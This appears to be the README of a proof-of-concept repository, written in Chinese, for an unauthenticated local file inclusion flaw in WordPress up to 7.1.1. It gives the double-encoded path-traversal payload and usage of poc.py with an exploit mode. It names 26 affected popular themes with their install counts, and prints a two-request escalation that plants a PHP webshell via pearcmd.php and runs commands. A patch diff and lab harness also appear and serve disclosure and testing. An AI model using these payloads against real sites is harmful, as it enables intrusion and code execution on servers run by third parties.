
| 安全公告 | GHSA-7hp8-65ch-5whp |
| 产品 | WordPress <= 7.1.1,已在 7.1.2 中修复;两个版本均已测试 |
| 汇聚点 | wp-includes/template.php,get_page_template() |
| 成因 | 由 pagename 构造的候选路径未经过 validate_file() 校验 |
| 攻击者 | 匿名,无需账户、无需 Cookie、无需 CSRF 令牌 |
| 方法 | 单个 GET 请求,两个参数 |
| 影响 | 任意磁盘上的 .php 文件被包含并在 WordPress 进程中执行 |
| 提权 | 在 PEAR gadget 可利用的情况下可实现远程命令执行,参见 PHP 与提权 |
| 对目标的写入 | 使用默认 --include 时无写入 |
| 此处复现 | 6 个发行版、7 个主题、4 个 PHP 版本 |
GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1
<payload> 是 page- 目录、路径穿越和目标文件,其中每个点和斜杠都经过双重编码:
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
| 字段 | 作用 |
|---|---|
pagename | 载荷。WP_Query 会通过 sanitize_title_for_query() 处理它,该函数将字面点重写为短横线,但保留百分号编码的字节。随后 get_page_template() 调用 urldecode() 将结果解码为路径 |
page_id | 任意已发布的页面,使查询匹配到一篇文章而非返回 404。没有它,页面模板永远不会被加载 |
核心代码构造 page-{urldecode($pagename)}.php 并相对于样式表目录解析它。编码是必需的:sanitize_title_for_query() 会将字面 .. 重写为 -。
| # | 条件 | 原因 |
|---|---|---|
| 1 | 活动主题包含顶层 page-* 目录 | 名称是 page-{payload}.php,因此其第一段必须在磁盘上可解析 |
| 2 | 一个已发布的页面,且既不是首页也不是文章页 | is_front_page 和 is_home 在 is_page 之前被尝试 |
| 3 | 目标文件以 .php 结尾 | 核心代码会追加扩展名 |
无需上传内容,无需更改站点配置、主题或核心。
所有 26 个受影响的主题都将该目录命名为 page-templates。poc.py 从 themes.json 中获取名称,对于不在其中的主题假定为 page-templates,--root 可用逗号分隔的列表覆盖。
Windows 主机不满足前提条件 1。 Win32 在词法层面取消 ..,因此不存在的段仍会被其后的 .. 取消。
| 路径 | 结果 |
|---|---|
C:\...\wordpress\page-nothing\..\README.md | 存在 |
C:\...\wordpress\page-nothing\README.md | 不存在 |
在 Windows 11 上使用 os.stat 测试,其使用与 PHP 的 file_exists() 相同的 Win32 路径处理方式。WordPress 本身未在 Windows 上运行。
识别主题和两个版本,然后询问 page-* 目录是否存在。不会包含或执行任何内容。
python3 poc.py --target https://example.com
1 GET / 200 WordPress 7.1.1, theme neve
2 GET /wp-content/themes/neve/style.css 200 neve 4.2.11
3 GET /wp-content/themes/neve/page-templates/ 403 refused, which on its own establishes nothing
4 GET /wp-content/themes/neve/page-e464e285/ 404 the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result neve ships page-templates, core 7.1.1
next rerun with --exploit to make the target prove it
对 page-<root>/ 的响应 | 解读 |
|---|---|
200 | 目录存在且可列出 |
404 | 无此目录 |
403 | 不确定,因此随后对 page-<8 位随机十六进制>/ 发起一次对照请求 |
403 然后对照 404 | 拒绝是关于存在性的,目录存在 |
403 然后对照也被拒绝 | 服务器拒绝任何请求,退出码 4 |
受影响需要同时满足:目录存在,且版本等于或低于 7.1.1。
先运行检查,然后除非检查排除了目标,否则包含该文件。
python3 poc.py --target https://example.com --exploit
5 GET /?rest_route=/wp/v2/pages 200 1 published page
6 GET /?page_id=2&pagename=page-templates/../../ 200 1368 bytes, not the theme's page [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result wp-admin/install.php ran: WordPress › Installation
渲染的主题模板总是通过 wp_head() 引用 /wp-content/themes/,而从主题外部包含的文件则不会。这就是判定规则。
| 选项 | 默认值 | 效果 |
|---|---|---|
--target URL | 必需 | 被测部署 |
--exploit | 关闭 | 检查后包含一个文件 |
--include PATH | wp-admin/install.php | 要包含的 .php 文件。相对路径从 WordPress 根目录解析,绝对路径用 --depth 向上爬升 |
--depth N | 7 | 绝对 --include 的 ../ 跳数 |
--root NAME[,NAME] | 来自 themes.json | 要尝试的 page-* 目录,不带 page- 前缀 |
--page-id ID | 自动发现 | 跳过页面发现 |
--theme SLUG | 自动发现 | 跳过主题查找 |
--theme-version V | 自动发现 | 跳过主题版本查找 |
--no-version | 关闭 | 不发起任何仅以获知版本为目的的请求 |
--core-json PATH | core.json | 发行版指纹,仅在没有披露版本时读取 |
--trace | 关闭 | 打印每次交互 |
--json | 关闭 | 仅输出一个 JSON 对象 |
--yes | 关闭 | 跳过确认 |
| 退出码 | 检查 | 利用 |
|---|---|---|
0 | 受影响 | 主题外部的 .php 被包含 |
1 | 不受影响 | 未被包含 |
2 | 无响应,或响应不是 WordPress | 同上 |
3 | 用法错误,或在确认时拒绝 | 同上 |
4 | 不确定,参见 403 和 7.1.x 情况 | 未使用 |
默认 --include 是 wp-admin/install.php:在所有 WordPress 中,输出明确无误,不改变任何内容。
TLS 证书不验证。过期、自签名和主机名不匹配的证书均被接受。
按顺序尝试,在第一个有响应的来源处停止。
| 来源 | 成本 | 在 7.1.1 上 |
|---|---|---|
首页的 generator meta | 免费 | 精确版本 |
/wp-includes/ 资源上的 ?ver= | 免费 | 精确版本 |
/?feed=rss2 | 1 个请求 | 精确版本 |
/wp-links-opml.php | 1 个请求 | 精确版本 |
对已提供资源与 core.json 的 sha256 比对 | 1 个请求 | 提供这些字节的发行版集合 |
core.json 覆盖 112 个已发布发行版和 7.1.2,每个 4 个资源。交叉比对可精确命名 9 个发行版,中位剩余 4 个候选。受影响要求每个候选都等于或低于 7.1.1。
7.1.1 和 7.1.2 无法从外部区分。 不同的三个文件是 wp-admin/about.php、wp-includes/template.php 和 wp-includes/version.php,均不被提供。隐藏版本的 7.1.x 站点会得到退出码 4。
wordpress.org 上安装量最高的 200 个主题。26 个包含 page-* 目录并受影响,合计 765,500 / 9,027,090 个活跃安装。其余 174 个不满足前提条件 1。
| 主题 | 版本 | 安装量 | page-* | 状态 | 已确认 |
|---|---|---|---|---|---|
neve | 4.2.11 | 200,000 | page-templates | 🔴 受影响 | 实验室 |
sydney | 2.71 | 80,000 | page-templates | 🔴 受影响 | 实验室 |
hestia | 3.3.6 | 70,000 | page-templates | 🔴 受影响 | 实验室 |
inspiro | 2.2.3 | 60,000 | page-templates | 🔴 受影响 | 调查 |
colibri-wp | 1.0.169 | 50,000 | page-templates | 🔴 受影响 | 调查 |
twentyfourteen | 4.6 | 50,000 | page-templates | 🔴 受影响 | 实验室 |
twentytwelve | 4.9 | 50,000 | page-templates | 🔴 受影响 | 实验室 |
colormag | 4.2.5 | 40,000 | page-templates | 🔴 受影响 | 实验室 |
zakra | 4.3.3 | 30,000 | page-templates | 🔴 受影响 | 调查 |
spacious | 1.9.12 | 20,000 | page-templates | 🔴 受影响 | 调查 |
hueman | 3.7.27 | 20,000 | page-templates | 🔴 受影响 | 调查 |
bloghash | 1.0.30 | 10,000 | page-templates | 🔴 受影响 | 实验室 |
botiga | 2.4.9 | 10,000 | page-templates | 🔴 受影响 | 调查 |
tutorstarter | 4.0.3 | 10,000 | page-templates | 🔴 受影响 | 调查 |
mesmerize | 1.6.187 | 10,000 | page-templates | 🔴 受影响 | 调查 |
flash | 1.4.12 | 10,000 | page-templates | 🔴 受影响 | 调查 |
shapely | 1.3.6 | 10,000 | page-templates | 🔴 受影响 | 调查 |
silverstorm | 1.0.36 | 8,000 | page-templates | 🔴 受影响 | 调查 |
prespa | 1.7.8 | 8,000 | page-templates | 🔴 受影响 | 调查 |
hybridmag | 1.1.4 | 6,000 | page-templates | 🔴 受影响 | 调查 |
chromenews | 6.2.10 | 5,000 | page-templates | 🔴 受影响 | 调查 |
morenews | 4.3.10 | 5,000 | page-templates | 🔴 受影响 | 调查 |
newsexo | 9.1 | 2,000 | page-templates | 🔴 受影响 | 调查 |
reviewnews | 2.0.5 | 1,000 | page-templates | 🔴 受影响 | 调查 |
the8-shop-dark | 1.0.5 | 400 | page-templates | 🔴 受影响 | 调查 |
newsonline | 0.6 | 100 | page-templates | 🔴 受影响 | 调查 |
实验室 表示使用 poc.py 针对标准镜像进行了端到端测试,调查 表示从主题归档中读取了目录,但未搭建该主题。
已测试且不受影响,均不包含 page-* 目录:astra、kadence、twentysixteen、twentyseventeen、twentytwentythree、twentytwentyfive。
front-page.php 由 hestia、neve 等提供,不改变受影响状态。它仅排除首页 ID 用于该请求。
| 发行版 | 镜像默认主题 | 使用受影响主题 | 已确认 |
|---|---|---|---|
| 7.1.2 | 🟢 不受影响,twentytwentyfive | 🟢 不受影响,neve | 实验室 |
| 7.1.1 | 🟢 不受影响,twentytwentyfive | 🔴 受影响,neve | 实验室 |
| 7.1.0 | 🟢 不受影响,twentytwentyfive | 🔴 受影响,neve | 实验室 |
| 7.0.4 | 🟢 不受影响,twentytwentyfive | 🔴 受影响,neve | 实验室 |
| 6.8.3 | 🟢 不受影响,twentytwentyfive | 🔴 受影响,neve | 实验室 |
| 6.1.0 | 🟢 不受影响,twentytwentythree | 🔴 受影响,twentytwelve | 实验室 |
| 4.9.8 | 🟢 不受影响,twentyseventeen | 🔴 受影响,twentytwelve | 实验室 |
| 其他 105 个发行版 | 未测量 | 未测量 | 未测量 |
| 主题版本 | 不是前提条件,page-* 目录才是。neve 4.2.11 用于 6.8.3 及以上,twentytwelve 4.9 用于两个较旧核心 |
7.1.2 | 无已发布镜像。使用 lab/run.py --core 7.1.2 测试,该命令将官方发行归档应用到 7.1.1-apache 上 |
| 开箱即用 | 从 4.1 起没有发行版受影响。twentyfifteen 到 twentytwentyfive 不包含 page-* 目录。twentyfourteen 和 twentytwelve 包含,且分别是 3.8 到 4.0 以及 3.5 的默认主题,这些版本没有发布镜像 |
| 无法拉取 | 112 个已发布标签中的 15 个:14 个早于 4.5.3-apache 的使用 containerd 2.1 拒绝的 v1 manifest,4.5.3-apache 有一个注册表无法提供的层 |
每个发行版发布的 PHP 变体,决定了下文的提权:
| WordPress 发行版 | 以 -apache 发布的 PHP 变体 |
|---|---|
4.1.x 到 4.5.x | 无,仅普通标签,5.6 |
4.6.x 到 5.0.x | 5.6 7.0 7.1 7.2 7.3 |
5.1.x 到 5.5.x | 7.1 7.2 7.3 7.4 |
5.6.x 到 6.0.x | 7.2 7.3 7.4 8.0 8.1 |
6.1.x 到 6.6.x | 7.4 8.0 8.1 8.2 8.3 |
6.7.x | 8.1 8.2 8.3 8.4 |
6.8.x 和 6.9.x | 8.1 8.2 8.3 8.4 8.5 |
7.0.x 和 7.1.x | 8.2 8.3 8.4 8.5 |
文件包含在所有四个镜像上均成功,且每个镜像中都存在 pearcmd.php。通过 gadget 执行命令需要 register_argc_argv 开启,而 php8.5 镜像将其关闭。
| 镜像 | PHP | register_argc_argv$_SERVER['argv'] | 通过 pearcmd.php 的 RCE | 已确认 |
|---|---|---|---|---|
7.1.1-php8.2-apache | 8.2.33 | 开启,已填充 | 🔴 uid=33(www-data) | 实验室 |
7.1.1-apache | 8.3.33 | 开启,已填充 | 🔴 uid=33(www-data) | 实验室 |
7.1.1-php8.4-apache | 8.4.25 | 开启,已填充 | 🔴 uid=33(www-data) | 实验室 |
7.1.1-php8.5-apache | 8.5.10 | 关闭,null | 🟢 未达到 | 实验室 |
通过 apache2handler 读取,而非 CLI,后者会强制开启该设置。RCE 列背后的两个请求:
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
poc.py 包含一个文件,它不驱动 gadget。使用 --include /usr/local/lib/php/pearcmd.php --depth 7 来达到它。在 8.5 镜像上未寻找除 pearcmd.php 之外的其他 gadget。
从 wordpress-7.1.2.zip 中读取。两处更改。
// wp-includes/template.php, get_page_template()
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+ global $wp_stylesheet_path, $wp_template_path;
+
+ // A file path that exists and does not contain `..` is allowed.
+ if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+ return true;
+ }
+
+ $real_path = realpath( $path );
+ if ( false === $real_path ) {
+ return false;
+ }
+ $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+ $directories = array(
+ $wp_stylesheet_path,
+ $wp_template_path,
+ ABSPATH . WPINC . '/theme-compat',
+ );
+ // ... plus the parent directory of a theme that lives in a subdirectory
+
+ foreach ( $directories as $directory ) {
+ $real_directory = realpath( $directory );
+ if ( false === $real_directory ) {
+ continue;
+ }
+ if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+ return true;
+ }
+ }
+ return false;
+ }
第一处修复了易受攻击的分支,第二处检查每个已解析的模板路径,无论其来源如何。已测试:在 7.1.2 上,激活 neve 且存在 page-templates 时,同一请求渲染主题自身的页面,55,084 字节,而非安装程序。
在 7.1.1 及更早版本上存在第二条路径:
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
| 不同之处 | 将 WP_Query 转入其 post_name 分支,该分支从不重写 pagename,因此字面 .. 有效 |
| 所需条件 | 一个没有 single.php 的主题,因为 is_single 在 is_page 之前被尝试 |
| 测试于 | 7.1.1 配合 bloghash |
| 为何列出 | 它能在仅加固清理器的修复下存活。上述包含性检查也能关闭它 |
python3 lab/run.py # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions # rewrite lab/versions.txt from the registry
python3 lab/themes.py # rebuild themes.json
python3 lab/core.py --also 7.1.2 # rebuild core.json
1/9 7.1.1-apache affected 0 included twentytwelve wp-admin/install.php ran
2/9 7.1.1-apache affected 0 included hestia wp-admin/install.php ran
3/9 7.1.1-apache affected 0 included neve wp-admin/install.php ran
4/9 7.1.1-apache affected 0 included colormag wp-admin/install.php ran
5/9 7.1.1-apache affected 0 included sydney wp-admin/install.php ran
6/9 7.1.1-apache unaffected 1 not included twentytwentyfive no page-* directory
7/9 7.1.1-apache affected 0 included bloghash wp-admin/install.php ran
8/9 7.1.1-apache unaffected 1 not included kadence no page-* directory
9/9 7.1.1-apache unaffected 1 not included astra no page-* directory
| 每行 | |
|---|---|
| 镜像 | 官方 wordpress:<tag>,未修改 |
| 隔离 | 独立容器、独立端口、共享 MariaDB 中的独立数据库 |
| 安装 | 通过 HTTP 经 wp-admin/install.php,因此无需匹配版本的 wp-cli |
| 状态 | 安装程序留下的状态,一个已发布页面,无上传 |
| 驱动方式 | poc.py --exploit,因此每行测量的是包含而非外观 |
| 选项 | 默认值 | 效果 |
|---|---|---|
--jobs N | 2 | 并行行数 |
--theme SLUG[@VERSION] | 无 | 在每行安装并激活 |
--core VERSION | 无 | 将该官方发行版应用到镜像的核心上,这是运行无镜像发行版的方式 |
--keep | 关闭 | 保持实例运行,结束时打印管理员密码 |
--prune | 关闭 | 删除本次运行拉取的镜像 |
--port-base N | 8110 | 起始端口,每行一个,仅 127.0.0.1 |
--db-image | mariadb:10.6 | 数据库镜像 |
--timeout N | 180 | 容器响应的秒数 |
--out PATH | lab/results.json | 每行详情 |
退出码:0 每行均已测量,1 至少一行未测量,2 Docker 缺失或无内容可运行,3 用法错误或拒绝。一个 WordPress 镜像为 600 MB 到 1.1 GB,因此不带 --prune 的 --all 会占用数十 GB。
.github/workflows/lab.yml 在每次 PoC 或实验室更改时运行四行,并每周运行:7.1.1 和 6.8.3 上的受影响主题、镜像默认主题,以及 php8.5 变体。每行断言其预期的退出码。
| 安全公告 | GHSA-7hp8-65ch-5whp |
| 文章 | https://ressl.ch/blog/cve-2026-87902-wordpress/ |
| 另一个 PoC | https://github.com/ressl/cve-2026-87902-poc |
从该 PoC 中采纳的两个想法,均先在此测试:
| 想法 | 保留 | 已测试 |
|---|---|---|
/index.php?rest_route= 和 /wp-json/ 作为页面列表的回退路由 | 是 | 通过三者之一发现成功 |
优先选择没有自身页面模板的页面,因为 get_page_template() 首先尝试该模板 | 是,作为排序 | 强制使用带有模板的页面在 7.1.1 上仍可复现,因此最坏情况仅多一个请求 |
poc.py the PoC, standalone, stdlib only
themes.json per-theme facts poc.py reads (generated)
core.json asset fingerprints per release (generated)
lab/run.py the lab
lab/themes.py rebuilds themes.json from the survey and the archive cache
lab/core.py rebuilds core.json from the official release archives
lab/survey.json 200 most-installed themes, their version and page-* directories
lab/targets.txt the pool lab/run.py stands up by default
lab/versions.txt 112 published releases (generated from the registry)
lab/results.json last run (ignored)
lab/.cache/ theme and release archives (ignored)
attic/ previous attempt, unwired, ignored
要求:Docker、Python 3.8+,无第三方包。